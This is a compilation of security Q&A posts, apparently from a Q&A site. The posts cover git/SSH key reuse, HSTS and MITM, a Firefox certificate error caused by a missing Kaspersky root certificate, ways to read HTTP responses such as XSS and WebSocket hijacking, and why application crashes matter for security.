I also can't see a way how an attacker could correlate the signed git-hashes and SSH authentication in such a way that by signing the one you are signing the other. I don't know if the key exchange mechanism would even allow for this, but even if it did, git hashes contain a random / time based component, and so does the key exchange with an SSH server. So for an attacker to be able to fabricate git hashes on your local system that correspond with real-time SSH authentication requests, and having you sign the same, he would need such a high level of control over your system that there would be more direct ways to access your private keys. If for example, he intercepts the git process, or places a modified version of the executable on your system, then he might as well intercept the key itself.

No, using the same key for git/ssh does not make you vulnerable to impersonation.


Does HSTS prevents MITM using a valid certificate? Let’s consider this scenario:

An attacker got a valid certificate for a HSTS protected domain https://example.com. Can he still perform a man-in-the middle attack even if the website is already loaded in the browser HSTS list?

I remember using Burp suíte once and getting a strict transport security related error for a valid certificate, so I would suppose the HSTS list also contain the certificate fingerprint, although I could not find anything about it in the RFC

HSTS does not contain any kind of fingerprint (that would be HPKP instead). It only says that the site has to be loaded with HTTPS and that the certificate has to be trusted directly, i.e. no bypass of warnings by the user should be allowed. Insofar HSTS does not prevent MITM if the attacker can use a valid certificate which was issued by a CA trusted by the client.

It is unclear what you've exactly seen with Burp suite but maybe you were used to just bypass certificate warnings when using Burp instead of importing the CA of Burp as trusted, and bypassing certificate warnings no longer works with HSTS.


Firefox reports every HTTPS page as unsecure in Windows 7 for standard user I started with looking at this this post as I have exactly the same issue.

But I am not on a company network, after a proxy or anything special. I am at home with three computer where Firefox works on all of them.

The error only appears for a new user I just created. The only difference with all other accounts is that the user is a 'standard' user. (It will be my "Poor Old Grey-haired Daddy" in a care home so I want to protect the computer from accidental mistakes).

If I login using my own account (I have administrator privileges) it all works fine. This suggest that Kaspersky is not an issue but I tried with that disabled anyway and still got the same issue.

Details: Windows 7, on a Dell laptop with Kaspersky, Firefox 67.0 (32 bit).

If all else fails I have to make him use Chrome or IE but I know where all the Firefox buttons and settings are so it makes it easier for 'telephone help-desking'.

As to the error type:

SEC_ERROR_UNKNOWN_ISSUER.

Please see the composite picture below which also has the certificate.

I checked the Firefox security settings on the new account and it shows lots of certificates.
I also saved four (google) certificates from my normal account and imported the first one into the new account, I get a message saying that the certificate already exists.

I followed the advice from the comments.

I found that the Kaspersky certificate was NOT present in the Firefox list of certificates in the new account, but it was present in Firefox in my (administrator) account.

I exported it from there, imported it in the new user account, clicking "Yes, I trust etc." and now it is all working.

Thank you, everybody who has helped me out.


Is there any other way through which an attacker can obtain user data from HTTP response except MITM and CORS attack? I am doing some research for my college project and I want to ask is there any other way through which an attacker can obtain data from HTTP response except MITM and CORS attack. For an example, If I send HTTP request to the website and in return, they send me some sensitive data. By which technique can attacker can obtain these sensitive data except MITM attack and CORS attack.

... except MITM and CORS attack

I'm not sure what CORS attack you refer to but my guess is you mean attacks possible by an overly broad (permissive) CORS setup.

Apart from these the attacker might get access to the HTTP response if he can execute code at the client with the Origin of the target domain (or whatever CORS allows additionally). This can be done for example through XSS (cross-site scripting) but also by compromising any server from which the client includes script into the original page (like advertisement or tracking server) and modifying the script served by this server.

And then there are WebSockets which don't have any same-origin policy. Unless the WebSocket server of the specific domain explicitly and properly checks the Origin an attacker could simply create a WebSocket connection to the specific domain within a JavaScript on his own site, make the victim visit the site and then can communicate with the WebSocket server with the existing authentication information (like session cookie) of the client - see Cross-Site WebSocket Hijacking (CSWSH).


Why is application crash considered insecure? If an application crashes, the program stops and there is nothing anyone can do about it, other than starting the program again.

Crash is a bad behaviour in general and should be avoided, but why are they seen as security vulnerability?

It crashed because some input was not processed correctly. An attacker may try to find the code path that leads to the faulty procedure and attempt to execute arbitrary code through potential vulnerabilities.
Crashes may give an attacker valuable information about the system and its internal details.
Crashes may create temporary vulnerabilities or leave unprotected files (e.g. memory dumps) that may be exploited.
(Thanks and a hat tip go to Ladadadada) The application that crashes needs to be restarted, which obviously takes time (even with watchdogs and symmetric failover schemes). If an attacker replicates the conditions leading to the crash your service will suffer from prolonged outage (Denial-of-service) which means financial, reputation, and other losses.